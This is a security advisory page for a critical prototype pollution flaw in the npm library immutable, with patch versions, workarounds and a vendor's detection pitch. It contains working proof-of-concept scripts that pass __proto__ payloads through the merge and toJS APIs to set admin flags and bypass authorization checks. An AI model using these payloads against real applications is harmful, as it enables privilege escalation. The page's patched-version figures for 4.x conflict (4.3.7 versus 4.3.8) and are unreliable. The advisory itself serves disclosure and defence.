GHSA-wf6x-7x77-mvgw
CRITICALImmutable is vulnerable to Prototype Pollution
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
immutable📦immutable📦immutableReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes |
|---|---|
mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] |
mergeDeepWith(merger, target, source) | Same code path |
merge(target, source) | Shallow variant, same assignment logic |
Map.toJS() | object[k] = v in toObject() with no __proto__ guard |
Map.toObject() | Same toObject() implementation |
Map.mergeDeep(source) | When source is converted to plain object |
Patches
Has the problem been patched? What versions should users upgrade to?
| major version | patched version |
|---|---|
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input
- Node.js flag --disable-proto
- Lock down built-in objects
- Avoid lookups on the prototype
- Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against [email protected]:
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
References
Are there any links users can visit to find out more?
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | immutable | ≥ 4.0.0-rc.1&&< 4.3.8 | 4.3.8 |
| 📦npm | immutable | ≥ 5.0.0&&< 5.1.5 | 5.1.5 |
| 📦npm | immutable | all versions | 3.8.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for immutable. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update immutable to 4.3.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wf6x-7x77-mvgw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wf6x-7x77-mvgw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wf6x-7x77-mvgw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wf6x-7x77-mvgw in your dependencies?
O3 detects GHSA-wf6x-7x77-mvgw across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.